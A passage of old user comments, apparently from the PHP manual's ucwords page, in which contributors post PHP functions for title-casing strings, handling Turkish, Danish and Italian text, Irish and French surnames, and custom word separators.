    }elseif ($ilk_karakter=='Ö' or $ilk_karakter=='ö'){

      $ilk_karakter='Ö';

    }elseif ($ilk_karakter=='Ş' or $ilk_karakter=='ş'){

      $ilk_karakter='Ş';

    }elseif ($ilk_karakter=='Ü' or $ilk_karakter=='ü'){

      $ilk_karakter='Ü';

    }else{

      $ilk_karakter=strtoupper($ilk_karakter);

    }

    $digerleri=mb_substr($kelime_duz,1,$kelime_uzunluk,'UTF-8');
    $sonuc.=$ilk_karakter.kucuk_yap($digerleri).' ';

  }

  $son=trim(str_replace('  ', ' ', $sonuc));
  return $son;

}

function kucuk_yap($gelen){

  $gelen=str_replace('Ç', 'ç', $gelen);
  $gelen=str_replace('Ğ', 'ğ', $gelen);
  $gelen=str_replace('I', 'ı', $gelen);
  $gelen=str_replace('İ', 'i', $gelen);
  $gelen=str_replace('Ö', 'ö', $gelen);
  $gelen=str_replace('Ş', 'ş', $gelen);
  $gelen=str_replace('Ü', 'ü', $gelen);
  $gelen=strtolower($gelen);

  return $gelen;
}

echo ucwords_tr('ŞEKardi ŞEMŞİYE ĞELENÖ ÖMER'); // Şekardi Şemşiye Ğelenö Ömer
echo ucwords_tr('şEKER iMSAK şÖLEN'); // Şeker İmsak Şölen
Philippe 30-Sep-2011 05:54
Because I needed a function that did the same as the function proper in Excel I created this little function :

<?php
function proper($string){

    $string = strtolower($string);

    $lettersAndNumbers = 'abcdefghijklmnopqrstuvwxyz01234565789';

    $string[0] = strtoupper($string[0]);

    for ($index = 1;$index < strlen($string);$index++){
      if (strpos($lettersAndNumbers, $string[$index]) === false){
        if ($index +1 < strlen($string)){
          $string[$index+1] = strtoupper($string[$index+1]);
          $index++;
        }
      }
    }

    return($string);

  }
?>
isis 16-Sep-2011 03:17
Just another custom separator function:

<?php
function ucwords_custom($str, $sep)
{
    return implode($sep, array_map('ucfirst', explode($sep, $str)));

?>
gabe at fijiwebdesign dot com 24-Aug-2011 11:49
Another ucwords function with custom separator.

<?php
function ucwords_custom($str, $sep)
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', create_function(
        '$match',
        'return strtoupper($match[0][1]);'
    ), $str);
}
?>

or simpler with PHP5.3

<?php
function ucwords_custom2($str, $sep = ' ')
{
    return preg_replace_callback('/' . preg_quote($sep) . './i', function($match) {
        return strtoupper($match[0][1]);
    }, $str);
}
?>
Sebstian Espinosa 04-Aug-2011 04:16
Is more simple to use str_replace to use ucwords without using space as separator like:

<?php

function ucwordsEx($str, $separator){

      $str = str_replace($separator, " ", $str);
      $str = ucwords(strtolower($str));
      $str = str_replace(" ", $separator, $str);
      return $str;

}
/*
Example:
*/
echo ucwordsEx("HELLO-my-NAME-iS-maNolO", "-");
/*
Prints: "Hello My Name Is Manolo"
*/

?>
jmarois at ca dot ibm dot com 12-Feb-2010 08:51
My quick and dirty ucname (Upper Case Name) function.

<?php
//FUNCTION

function ucname($string) {
    $string =ucwords(strtolower($string));

    foreach (array('-', '\'') as $delimiter) {
      if (strpos($string, $delimiter)!==false) {
        $string =implode($delimiter, array_map('ucfirst', explode($delimiter, $string)));
      }
    }
    return $string;
}
?>
<?php
//TEST

$names =array(
  'JEAN-LUC PICARD',
  'MILES O\'BRIEN',
  'WILLIAM RIKER',
  'geordi la forge',
  'bEvErly CRuSHeR'
);
foreach ($names as $name) { print ucname("{$name}\n"); }

//PRINTS:
/*
Jean-Luc Picard
Miles O'Brien
William Riker
Geordi La Forge
Beverly Crusher
*/
?>

You can add more delimiters in the for-each loop array if you want to handle more characters.
Kovik 27-Dec-2009 07:37
ucwords() only uses whitespace as a delimiter. I found that I needed the ability to use other delimiters for denoting words.

Example: Transforming "content-type" into "Content-Type".

<?php
/**
 * Capitalize all words
 * @param string Data to capitalize
 * @param string Word delimiters
 * @return string Capitalized words
 */
function capitalizeWords($words, $charList = null) {
    // Use ucwords if no delimiters are given
    if (!isset($charList)) {
        return ucwords($words);
    }

    // Go through all characters
    $capitalizeNext = true;

    for ($i = 0, $max = strlen($words); $i < $max; $i++) {
        if (strpos($charList, $words[$i]) !== false) {
            $capitalizeNext = true;
        } else if ($capitalizeNext) {
            $capitalizeNext = false;
            $words[$i] = strtoupper($words[$i]);
        }
    }

    return $words;
}
?>

Testing:
<?php
echo capitalizeWords('this is a test');  // This Is A Test
echo capitalizeWords('this-is-a-test');  // This-is-a-test
echo capitalizeWords('this is a test', ' ');  // This Is A Test
echo capitalizeWords('this-is-a-test', '-');  // This-Is-A-Test
echo capitalizeWords('this-is a-test', ' ');  // This-is A-test
echo capitalizeWords('this-is a-test', '-');  // This-Is a-Test
echo capitalizeWords('this-is a-test', ' -');  // This-Is A-Test
?>
mariodivece at yahoo dot com 25-Nov-2009 09:04
Here's a simple function to convert a pascal cased, camel cased or underscore-separated string (usually for identifiers) that works well. It'd be nice if someone could provide the regex equivalent.

<?php

class StringHelper
{
    const CONVENTION_AUTO = 0;
    const CONVENTION_PASCAL = 1;
    const CONVENTION_CAMEL = 2;
    const CONVENTION_USCORE = 3;

    /**
     * Converts a camel-cased, pascal-cased or underscore-separated word into a human-readable string
     * @param string $str
     * @param int $convention
     * @return string
     */
    public static function toWords($str, $convention = self::CONVENTION_AUTO)
    {
        if ($convention === self::CONVENTION_AUTO)
        {
            if (self::strContains($str, '_'))
            {
                $convention = self::CONVENTION_USCORE;
            }
            else
            {
                $convention = self::CONVENTION_PASCAL;
            }
        }

        if ($convention === self::CONVENTION_USCORE)
        {
            return str_replace('_', ' ', $str);
        }

        if ($convention === self::CONVENTION_PASCAL || $convention === self::CONVENTION_CAMEL)
        {
            $baseStr = ucfirst($str);
            $whitespaceBefore = strtoupper($str) . "01234567890";

            $retStr = "";
            for ($i = 0; $i < strlen($baseStr); $i++)
            {
                $chr = $baseStr[$i];
                if (strstr($whitespaceBefore, $chr) !== false)
                {
                    $retStr .= " " . $chr;
                }
                else
                {
                    $retStr .= $chr;
                }
            }

            return trim($retStr);
        }
        else
        {
            throw new Exception(692, '$convention must be one of the CONVENTION-prefixed constants');
        }

    }

}

?>
robert at broofa dot com 08-Jul-2009 06:42
Some recipes for switching between underscore and camelcase naming:

<?php
// underscored to upper-camelcase
// e.g. "this_method_name" -> "ThisMethodName"
preg_replace('/(?:^|_)(.?)/e',"strtoupper('$1')",$string);

// underscored to lower-camelcase
// e.g. "this_method_name" -> "thisMethodName"
preg_replace('/_(.?)/e',"strtoupper('$1')",$string);

// camelcase (lower or upper) to underscored
// e.g. "thisMethodName" -> "this_method_name"
// e.g. "ThisMethodName" -> "this_method_name"
strtolower(preg_replace('/([^A-Z])([A-Z])/', "$1_$2", $string));
?>

Of course these aren't 100% symmetric.  For example...
  * this_is_a_string -> ThisIsAString -> this_is_astring
  * GetURLForString -> get_urlfor_string -> GetUrlforString
Greg S 26-Apr-2009 09:16
I did the same thing as Catalin, but for French names.

Here's what I'm doing :

For each word (not considering the single-quote as a word boundary character) :
- Put the word in lower case
- If the word is "de", return, else, put the first letter in upper-case
- See if the second character of the word is a single-quote
- Yes ? Put the next char in upper case
- And if the char before the single quote is D, put it back to lower case (-> d)

This complies with the French rules for capitalization in names.

Sample results :
-d'Afoo Bar
-de Foo Bar
-O'Foo Bar
-Foo'bar

<?php
function my_ucwords($s) {
        $s = preg_replace_callback("/(\b[\w|']+\b)/s", fixcase_callback, $s);

        return $s;

    }

    function fixcase_callback($word) {

        $word = $word[1];

        $word = strtolower($word);

        if($word == "de")
            return $word;

        $word = ucfirst($word);

        if(substr($word,1,1) == "'") {
            if(substr($word,0,1) == "D") {
                $word = strtolower($word);
            }
            $next = substr($word,2,1);
            $next = strtoupper($next);
            $word = substr_replace($word, $next, 2, 1);
        }

        return $word;
    }
?>
vista_ at live dot se 17-Nov-2008 02:02
<?php
      if(!function_exists('mb_ucwords'))
      {
            function mb_ucwords($str)
            {
                  return mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
            }
      }
?>
dyer85 at gmail dot com 07-Nov-2008 03:33
When attempting to adopt a solution similar to Catalin's post (20-Oct-2008 10:14), I ran into some additional problems. Just a heads up, Catalin's wasn't capitalizing correctly when a name like "O'reilley" appeared at the start of the string or a new line. Also, it doesn't account for locale-sensitivity.

I also needed to recognize additional Irish surnames, such as "McArthur/MacArthur" or "FitzGerald". I also didn't want to misinterpret French as an Irish surname, so, "S'il vous plaît" shouldn't result in the "i" in "S'il" capitalized.

I modified Catalin's version, but it's still not perfect. This version happened to suit my needs, so be sure to assess your own needs before using.

<?php

function my_ucwords($str)
{
    $str = ucwords($str);

    // Not perfect
    return preg_replace(
        '/
            (?: ^ | \\b )         # assertion: beginning of string or a word boundary
            ( O\' | Ma?c | Fitz)  # attempt to match Irish surnames
            ( [^\W\d_] )          # match next char; we exclude digits and _ from \w
        /xe',
        "'\$1' . strtoupper('\$2')",
        $str);
}

?>
strazds at gmail dot com 01-Nov-2008 02:45
ucwords for UTF-8 strings:

<?php
function mb_ucwords($str) {
    $str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
    return ($str);
}
?>
Catalin 20-Oct-2008 07:14
I have looked for a work-around that would upper-case letter after an ' too.

For example,

ucword("o'lunney's");

would output "O'lunney's" and I wanted it to output "O'Lunney's".

Here is my function:

<?php
function my_ucwords($string) {
        $string = ucwords(strtolower($string));
        $string = preg_replace_callback("/( [ a-zA-Z]{1}')([a-zA-Z0-9]{1})/s",create_function('$matches','return $matches[1].strtoupper($matches[2]);'),$string);
        return $string;
}
?>

Hope it helps someone.
Alex 27-Aug-2008 09:43
A modified sentenceNormalizer by gregomm

Features:
1- Removes duplicated question marks, exclamations and periods
2- Capitalize first letter of a sentence.
3- Split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the end of each sentence
5- Retains newlines

--removed from orginal function--
undestand the meaning of "¡" and "¿" in languages like spanish.
undestand the htmlentitity version of this simbols.
--removed from orginal function--

<?php
function sentenceNormalizer($sentence_split) {
    $sentence_split = preg_replace(array('/[!]+/','/[?]+/','/[.]+/'),
                                   array('!','?','.'),$sentence_split);

    $textbad = preg_split("/(\!|\.|\?|\n)/", $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
    $newtext = array();
    $count = sizeof($textbad);

    foreach($textbad as $key => $string) {
        if (!empty($string)) {
            $text = trim($string, ' ');
            $size = strlen($text);

            if ($size > 1){
                $newtext[] = ucfirst(strtolower($text));
            }
                elseif ($size == 1) {
                    $newtext[] = ($text == "\n") ? $text : $text . ' ';
                }
        }
    }

    return implode($newtext);
}
?>
majd87 at gmail dot com 05-Aug-2008 06:58
I modified Q1712's code (below) to use regular expressions
instead of characters to properly capitalize words that fall
directly after an unwanted character. See his post for details.

This version allows me to use it around html elements, etc.

<?php
    function my_ucwords($string){

        $invalid_characters = array('"',
                                    '\(',
                                    '\[',
                                    '\/',
                                    '<.*?>',
                                    '<\/.*?>');

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.')/','$1 ',$string);
        }

        $string=ucwords($string);

        foreach($invalid_characters as $regex){
            $string = preg_replace('/('.$regex.') /','$1',$string);
        }

        return $string;
    }
?>

Moreover, to get a proper title case, i combine it with this function:

This Function is obtained from:
http://codesnippets.joyent.com/posts/show/716

<?php
    function title_case($title) {
        $smallwordsarray = array(
            'of','a','the','and','an','or','nor','but','is','if','then',
'else','when',
            'at','from','by','on','off','for','in','out',
'over','to','into','with'
        );

        $words = explode(' ', $title);
        foreach ($words as $key => $word)
        {
            if ($key == 0 or !in_array($word, $smallwordsarray))
            $words[$key] = $this->my_ucwords(strtolower($word));
        }

        $newtitle = implode(' ', $words);
        return $newtitle;
    }
?>
Hope you find it useful.
gregomm at gmail dot com 23-May-2008 12:38
An improved of ucsentence. In fact its a function to avoid ugly data entry. It's based on code taken from this page. Can be inproved for better performance, of course...

Features:
1- removes duplicated question marks, an exclamations
2- Capitalize first letter of a sentence.
3- split sentences not only with "." but also with "?" and "!"
4- Puts a white space at the begining of each sentence
5- undestand the meaning of "¡" and "¿" in languages like spanish.
6- undestand the htmlentitity version of this simbols.

    function sentenceNormalizer( $sentence_split ) {

        $sentence_split = preg_replace("/[!]+/","!",$sentence_split);
        $sentence_split = preg_replace("/[¡]+/","¡",$sentence_split);
        $sentence_split = preg_replace("/[?]+/","?",$sentence_split);
        $sentence_split = preg_replace("/[¿]+/","¿",$sentence_split);

        $textbad = preg_split("/(\<[a-zA-Z0-9-]*\>".
"\!(\s)?|\.(\s)?|\?(\s)?|¿(\s)?|¡(\s)?".
"|&iquest;(\s)?|&iexcl;(\s)?)/",
         $sentence_split,-1,PREG_SPLIT_DELIM_CAPTURE);
        $newtext = array();
        $count = sizeof($textbad);

        $prevStr ="";

        for ($i = 0; $i < $count; $i++){

            $text = trim($textbad[$i]);
            $size = strlen($text);

            if ($size>1){

                $sentencegood=ucfirst(strtolower($text));

                if ($i>0 && $prevStr != '¿' && $prevStr != '¡' && $prevStr !="&iquest;" && $prevStr !="&iexcl;"){
                    $sentencegood =" ".$sentencegood;
                }
                $newtext[] = $sentencegood;
                $prevStr =$text;

            }elseif($size==1 ){

                if ($i>0 && ($text == '¿' || $text == '¡' || $prevStr =="&iquest;" || $prevStr =="&iexcl;") ){
                    $newtext[] =" ".$text;
                }else{
                    $newtext[] =$text;
                }
                $prevStr =$text;
            }

        }

        $textgood = implode($newtext);
        return $textgood;
    }
caio dot ariede at gmail dot com 25-Mar-2008 11:53
To capitalize e-mail address, I made this function.

<?php

    function capitalize_email($email)
    {
        $domain = strtolower(strstr($email, '@'));
        $user = strtolower(substr($email, 0, strrpos($email, '@')));
        $user = preg_replace('!((?:\b|_).)!e', 'strtoupper("$1");', $user);
        return $user.$domain;
    }

    echo capitalize_email('blabla.example@example.com');

    // Blabla.Example@example.com

?>
NoName 12-Mar-2008 12:03
For strings with diactrical marks (umlauts, etc.), consider mb_convert_case.
blake at goinoutwest dot com 29-Jan-2008 05:14
Relating to the mb_ucwords() function posted by Anonymous.  In order for this to actually be multi-byte compliant, you would also need to use mb_substr() and mb_strlen() instead of substr and strlen respectively.

Here it is corrected and extended even further to allow multiple word separators and a list of exceptions to correct after title casing. It's a bit tedious and inelegant, but things frequently are when dealing with human languages.

function mb_ucwords($str) {
    $exceptions = array();
    $exceptions['Hp'] = 'HP';
    $exceptions['Ibm'] = 'IBM';
    $exceptions['Gb'] = 'GB';
    $exceptions['Mb'] = 'MB';
    $exceptions['Cd'] = 'CD';
    $exceptions['Dvd'] = 'DVD';
    $exceptions['Usb'] = 'USB';
    $exceptions['Mm'] = 'mm';
    $exceptions['Cm'] = 'cm';
    //    etc.

    $separator = array(" ","-","+");

    $str = mb_strtolower(trim($str));
    foreach($separator as $s){
        $word = explode($s, $str);

        $return = "";
        foreach ($word as $val){
            $return .= $s . mb_strtoupper($val{0}) . mb_substr($val,1,mb_strlen($val)-1);
        }
        $str = mb_substr($return, 1);
    }

    foreach($exceptions as $find=>$replace){
        if (mb_strpos($return, $find) !== false){
            $return = str_replace($find, $replace, $return);
        }
    }
    return mb_substr($return, 1);
}
Anonymous 16-Dec-2007 03:09
Function to do what ucwords is intended to do - just correctly also for international char sets:

function mb_ucwords($s)
{
    $s = mb_strtolower(trim($s));
    $w = explode(" ", $s);

    $return = "";
    foreach ($w as $val)
    {
        $return .= " " . mb_strtoupper($val{0}) . substr($val,1,strlen($val)-1);
    }
    return trim($return);
}

Building on an earlier snippet here.
kendsnyder at gmail dot com 30-Jul-2007 01:02
Here is a function to capitalize a last name, accounting for hyphens, apostrophes, "Mc" and "Mac":

<?php
function CapitalizeLastName($name) {
    $name = strtolower($name);
    $name = join("'", array_map('ucwords', explode("'", $name)));
    $name = join("-", array_map('ucwords', explode("-", $name)));
    $name = join("Mac", array_map('ucwords', explode("Mac", $name)));
    $name = join("Mc", array_map('ucwords', explode("Mc", $name)));
    return $name;
}
?>

I speed tested it against functions that used preg_replace() with an "e" modifier, preg_replace_callback(), and a character-by-character parsing.  Unexpectedly, this function using join(), array_map() and explode() was fastest.
emailfire at gmail dot com 23-May-2007 04:27
To use ucwords with an exception:

<?php
function ucwordss($str, $exceptions) {
$out = "";
foreach (explode(" ", $str) as $word) {
$out .= (!in_array($word, $exceptions)) ? strtoupper($word{0}) . substr($word, 1) . " " : $word . " ";
}
return rtrim($out);
}
?>

For example:

<?php
$string = "my cat is going to the vet";
$ignore = array("is", "to", "the");
echo ucwordss($string, $ignore);
// My Cat is Going to the Vet
?>
Q1712 at online dot ms 05-May-2007 12:49
ucwords() only excepts whitespace in front of a word, although some chars like '"' or '(' normally have no space between them and the following word:
<?php
$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo ucwords(strtolower($title));
?>
prints: Elvis "the King" Presley - (let Me Be Your) Teddy Bear

To avoid this i use a small function adding and deleting blanks behind these chars, and using ucwords() in between:

<?php
function my_ucwords($string)
  {
    $noletters='"([/'; //add more if u need to
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i], $noletters[$i].' ', $string);
    $string=ucwords($string);
    for($i=0; $i<strlen($noletters); $i++)
      $string = str_replace($noletters[$i].' ', $noletters[$i], $string);
    return $string;
  }

$title = 'ELVIS "THE KING" PRESLEY - (LET ME BE YOUR) TEDDY BEAR';
echo my_ucwords(strtolower($title));
?>

prints: Elvis "The King" Presley - (Let Me Be Your) Teddy Bear
chris at cmbuckley dot co dot uk 13-Feb-2007 09:16
To get some sort of title case with lower-case articles, prepositions etc., try something like this (removing the carriage returns in the regular expression):

<?php
    function lower_articles($str) {
        return preg_replace(
            "/(?<=(?<!:|’s)\W)
            (A|An|And|At|For|In|Of|On|Or|The|To|With)
            (?=\W)/e",
            'strtolower("$1")',
            $str
        );
    }
?>

I added the lookbehind (?<!:|’s) because I use this for film titles, where words following those terms should be capitalised (e.g. Lemony Snicket’s A Series of Unfortunate Events, American Pie Presents: The Naked Mile).
barnaby ritchley at exeye dot co dot uk 03-Jan-2007 08:53
A very easy way to convert to title case:

function titleCase($string)
     {
     return ucwords(strtolower($string));
     }

$myString = "SOME TEXT";

echo titleCase($myString);

//will print, "My Text"
max at phoenixweb dot it 15-Sep-2006 07:35
I have rewritten a UCSMART function adding a feature to translate special ASCII char (windows occidental ascii charset):

You can edit/add/delete char by use the first two string (be carefull to preserve the order of the string).

Enjoy!

<?
$ASCII_SPC_MIN = "àáâãäåæçèéêëìíîïðñòóôõöùúûüýÿžš";
$ASCII_SPC_MAX = "ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖÙÚÛÜÝŸŽŠ";

function str2upper($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtoupper($text),$ASCII_SPC_MIN,$ASCII_SPC_MAX);
}
function str2lower($text) {
    global $ASCII_SPC_MIN,$ASCII_SPC_MAX;
    return strtr(strtolower($text),$ASCII_SPC_MAX,$ASCII_SPC_MIN);
}
function ucsmart($text) {
    global $ASCII_SPC_MIN;
    return preg_replace(
        '/([^a-z'.$ASCII_SPC_MIN.']|^)([a-z'.$ASCII_SPC_MIN.'])/e',
        '"$1".str2upper("$2")',
        str2lower($text)
    );
}
?>

Massimiliano Cuttini
marco at hotelsandgo dot com 09-Sep-2006 09:35
ucwords that works also with apices: '
for example: "aquila d'abruzzo" became "Aquila d'Abruzzo"
The second part after the // comment can removed! Is optimized for italian language (leave lowercase articles, prepositions, conjunctions) but easily changeable. Notice che "'s"!! for example "hotel 2000's" becames "Hotel 2000's".

    function my_ucwords($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        //Lascia minuscoli articoli, preposizioni, congiunzioni
        $minuscole=array("il", "lo", "la", "i", "gli", "le",                //ARTICOLI DETERMINATIVI
                 "un", "uno", "una",                        //ARTICOLI INDETERMINATIVI
                 "e",  "d", "l", "s", "un",                    //CONGIUNZIONI e CONTRATTI
                 "di", "a", "da", "in", "con", "su", "per", "tra", "fra",    //PREPOSIZIONI SEMPLICI
                 "del", "dello", "della", "dei", "degli", "delle",        //PREPOSIZIONI ARTICOLATE
                 "a", "al", "allo", "alla", "ai", "agli", "alle",
                 "da", "dal", "dallo", "dalla", "dai", "dagli", "dalle",
                 "in", "nel", "nello", "nella", "nei", "negli", "nelle",
                 "con", "col", "collo", "colla", "coi", "cogli", "colle",
                 "su", "sul", "sullo", "sulla", "sui", "sugli", "sulle",
                 "per", "pel", "pei");

        foreach($minuscole as $value)
            {
            $pos=strpos($a, $value);
            if( ( $pos>0 && $pos<strlen($s)-1 && !ctype_alpha($a[$pos-1]) && !ctype_alpha($a[$pos+1]) )    //CARATTERE IN MEZZO
            ||  ( $pos==strlen($s)-1 && !ctype_alpha($a[$pos-1]) ) )                    //CASO PARTICOLARE: carattere in fondo. x es: "hotel 2000's"
                $s[$pos]=strtolower($s[$pos]);
            }

        return $s;
        }

    function my_ucwords_essential($s)
        {
        $a=strtolower($s);
        $s=ucfirst($a);
        for($x=0; $x<strlen($s)-1; $x++)
            if(!ctype_alpha($s[$x])) $s[$x+1]=strtoupper($s[$x+1]);

        return $s;
        }

Can be rewritten better, I Know
philip at fcknet dot dk 08-Aug-2006 05:11
Before noticing this function I made the following function (that does the same as ucwords):

<?php
function firstUpper($string)
{
    $string = str_replace(array("Æ","Ø","Å"), array("æ","ø","å"), strtolower($string));
    $ord = explode(" ", $string);

    $return = "";
    foreach ($ord as $val)
    {

        $return .= " " . str_replace(array("æ","ø","å"), array("Æ","Ø","Å"), strtoupper($val{0})) . substr($val,1,strlen($val)-1);
    }
    return $return;
}
?>

It also converts Danish letters without using the setlocale function.
starmonkey [at] evolove [dot] net 05-Aug-2006 08:17
Simple helper function to walk through a nested array of strings and upper case them:

<?php
/**
 * Helper function to convert an array of strings to upper case words
 */
function _capitalize($input) {
    if(is_array($input)) {
        // recurse through array elements (using a reference)
        foreach($input as &$value) {
            $value = _capitalize($value);
        }
        return $input;
    } elseif(is_string($input)) {
        // process this string
        return ucwords($input);
    } else {
        // all other data types, leave alone
        return $input;
    }
}
?>
Ismet Togay 30-May-2006 05:07
Response to arif:

We do not need that long functions. In order to make ucwords() worked properly in Turkish words that contain speacial characters, we can use the following command in our php codes:

setlocale(LC_ALL, 'tr_TR');

This will set locale to Turkish.
lev at phpfox dot com 06-May-2006 01:44
In the function ucsmart() posted by ieure at php dot net on 04-Dec-2005 11:57, I found a similar problem in this function to what he found in igua's.

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

"igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case."

Actually, it did end up changing the content for me (php 5.0.4) in the way that this function escapes a single quotation (apostrophe) in the MIDDLE of a word.

For example:

who's online?

Became:

Who\'s Online?

The fix is simple however, and merely requires fine-tuning the regular expression:

<?php
function ucsmart($text)
{
   return preg_replace('/([^a-z\']|^)([a-z])/e', '"$1".strtoupper("$2")',
                       strtolower($text));
}
?>

(note: while previewing this note before adding it, I am noticing php's website is not correctly displaying the change I made as I wrote it. After the first a-z in the expression, the single quotation should be escaped... If it isn't you will get a parse error! And apoligies if my text here is colored as php code; not my fault!)

This will not escape a single quotation mark which occurs in the middle of a word... Though, you may find that might need to add other characters inside the regular expression if you use other special characters inside your words and if you get funky output.

It's a great expression though! Simple, yet very powerful. Kudos!
arif 29-Mar-2006 12:12
it can be used for Turkish alphabet.

function strtoupperTR($str){
   return strtr($str,
   "abcçdefgğhıijklmnoöpqrsştuüvwxyz",
   "ABCÇDEFGĞHIİJKLMNOÖPQRSŞTUÜVWXYZ");
}
function strtolowerTR($str){
   return strtr($str,
   "ABCÇDEFGĞHIİJKLMNOÖPQRSŞTUÜVWXYZ",
   "abcçdefgğhıijklmnoöpqrsştuüvwxyz");
}

function ucwordsTR($str)
{
   return preg_replace('/([^a-zığüşçö]|^)([a-zığüşçö])/e', '"$1".strtoupperTR("$2")',
                       strtolowerTR($str));
}
24-Dec-2005 07:34
"ieure at php dot net", your idea is pure poetry!

The function below will standardize the capitalization on people's names and the titles of reports and essays . You may need to adapt the lists in "$all_uppercase" and "$all_lowercase" to suit the data that you are working with.

function my_ucwords($str, $is_name=false) {
   // exceptions to standard case conversion
   if ($is_name) {
       $all_uppercase = '';
       $all_lowercase = 'De La|De Las|Der|Van De|Van Der|Vit De|Von|Or|And';
   } else {
       // addresses, essay titles ... and anything else
       $all_uppercase = 'Po|Rr|Se|Sw|Ne|Nw';
       $all_lowercase = 'A|And|As|By|In|Of|Or|To';
   }
   $prefixes = 'Mc';
   $suffixes = "'S";

   // captialize all first letters
   $str = preg_replace('/\\b(\\w)/e', 'strtoupper("$1")', strtolower(trim($str)));

   if ($all_uppercase) {
       // capitalize acronymns and initialisms e.g. PHP
       $str = preg_replace("/\\b($all_uppercase)\\b/e", 'strtoupper("$1")', $str);
   }
   if ($all_lowercase) {
       // decapitalize short words e.g. and
       if ($is_name) {
           // all occurences will be changed to lowercase
           $str = preg_replace("/\\b($all_lowercase)\\b/e", 'strtolower("$1")', $str);
       } else {
           // first and last word will not be changed to lower case (i.e. titles)
           $str = preg_replace("/(?<=\\W)($all_lowercase)(?=\\W)/e", 'strtolower("$1")', $str);
       }
   }
   if ($prefixes) {
       // capitalize letter after certain name prefixes e.g 'Mc'
       $str = preg_replace("/\\b($prefixes)(\\w)/e", '"$1".strtoupper("$2")', $str);
   }
   if ($suffixes) {
       // decapitalize certain word suffixes e.g. 's
       $str = preg_replace("/(\\w)($suffixes)\\b/e", '"$1".strtolower("$2")', $str);
   }
   return $str;
}

// A name example
print my_ucwords("MARIE-LOU VAN DER PLANCK-ST.JOHN", true);
// Output: Marie-Lou van der Planc-St.John

// A title example
print my_ucwords("to be or not to be");
// Output: "To Be or Not to Be"
ieure at php dot net 04-Dec-2005 02:57
Whoa guys, tone things down a bit here. No need to loop and implode. This is a one-line solution:

function ucsmart($text)
{
    return preg_replace('/([^a-z]|^)([a-z])/e', '"$1".strtoupper("$2")',
                        strtolower($text));
}

igua's code adds a backslash in front of the first single quote for me. This doesn't alter the content in any way other than changing case.
gothicbunny at hotmail dot com 08-Nov-2005 04:16
Here is a simple, yet winded, opposite to ucwords.

<?php
/*
    # lcwords v1.000
    # Convert the first word character to lowercase (opposite to ucwords)
    # input string
    # return string
*/
function lcwords($string)
{
    /* Some temporary variables */
    #loop variable
    $a = 0;
    #store all words in this array to be imploded and returned
    $string_new = array();
    #create array of all words
    $string_exp = explode(" ",$string);
    foreach($string_exp as $astring)
    {
        for($a=0;$a<strlen($astring);$a++)
        {
            #check that the character we are at {pos $a} is a word
            #i.e. if the word was !A the code would fail at !
            #then loop to the next character and succeed at A
            #check at character position $a
            if(preg_match("'\w'",$astring[$a]))
            {
                $astring[$a] = strtolower($astring[$a]);
                #end the loop
                break;
            }
        }
        $string_new[] = $astring;
    }
    #recreate the string from array components using space deliminator
    return implode(" ",$string_new);
}
?>

Of course a simplier way would be to use a callback, but I like working with long code :)
20-Oct-2005 04:14
Here's a  piece that allows you to use the contents of a directory..  capitalizes the words and make links.. this particular example splits file names at _ and only selects file with .htm extensions (thought you could use any extension and call it using  include()  or soom such)
ie my_file_name.htm will produce
<a href="my_file_name.htm">My File Name</a>

<?php
$path = "/home/path/to/your/directory";
   $mydir = dir($path);
   while(($file = $mydir->read()) !== false) {
     if(substr($file, -4)=='.htm'){
    $trans = array("_" => " ", ".htm" => ""); // creates the editing array
    $newlist = strtr($file, $trans); // edits using editing array
    echo "<a href=\"".$file."\">".ucwords($newlist)."</a><br>";
     }
    }
   ?>
Static Bit 18-Sep-2005 08:01
// programming/repair -> Programming/Repair
// mcdonald    o'neil   -> McDonand O'Neil
// art    of street        -> Art of Street

function NomeProprio($nome)
   {
   //two space to one
   $nome = str_replace("  ", " ", $nome);
   $nome = str_replace("  ", " ", $nome);
   $nome = str_replace("  ", " ", $nome);

   $intervalo = 1;
   for ($i=0; $i < strlen($nome); $i++)
       {
       $letra = substr($nome,$i,1);
       if (((ord($letra) > 64) && (ord($letra) < 123)) || ((ord($letra) > 48) && (ord($letra) < 58)))
          {
          $checa_palavra = substr($nome, $i - 2, 2);
          if (!strcasecmp($checa_palavra, 'Mc') || !strcasecmp($checa_palavra, "O'"))
             {
             $novonome .= strtoupper($letra);
             }
            elseif ($intervalo)
             {
             $novonome .= strtoupper($letra);
             }
            else
             {
             $novonome .= strtolower($letra);
             }
          $intervalo=0;
          }
         else
          {
          $novonome .= $letra;
          $intervalo = 1;
          }
       }
   $novonome = str_replace(" Of ", " of ", $novonome);
   $novonome = str_replace(" Da ", " da ", $novonome);
   $novonome = str_replace(" De ", " de ", $novonome);
   $novonome = str_replace(" Do ", " do ", $novonome);
   $novonome = str_replace(" E " , " e " , $novonome);
   return $novonome;
   }
radley25 at nospam dot spamcop dot net 04-Jul-2005 08:06
In response to joshuamallory at yahoo dot com:

Using CSS to fix a PHP fault is not the ideal way to solve a problem. CSS is browser dependent and can only be used when the data is presented in a web page. A better fix would be something like this:

<?php
function better_ucwords($string) {
   $string = ucwords($string);
   $string = preg_replace('#[\\/][a-z]#e', "strtoupper('$0')", $string);
   return $string;
}
?>
igua no-spam at coveruniverse dot com 08-Mar-2005 04:30
The code posted by neil doesn't fully do what is wanted. Try adding some more question marks at the end and it will return a not wanted string.

Below code will uppercase all your words regardless of the delimiter.

<?php
$text = "What?No 'delimiters',shit \"happens\" here.this solves all problems???";
preg_match_all('/[A-Za-z]+|[^A-Za-z]+/', $text, $data);
for ($i = 0; $i < count($data[0]); $i++) {
  $data[0][$i] = ucfirst($data[0][$i]);
}
$text = implode("", $data[0]);
print $text;
?>
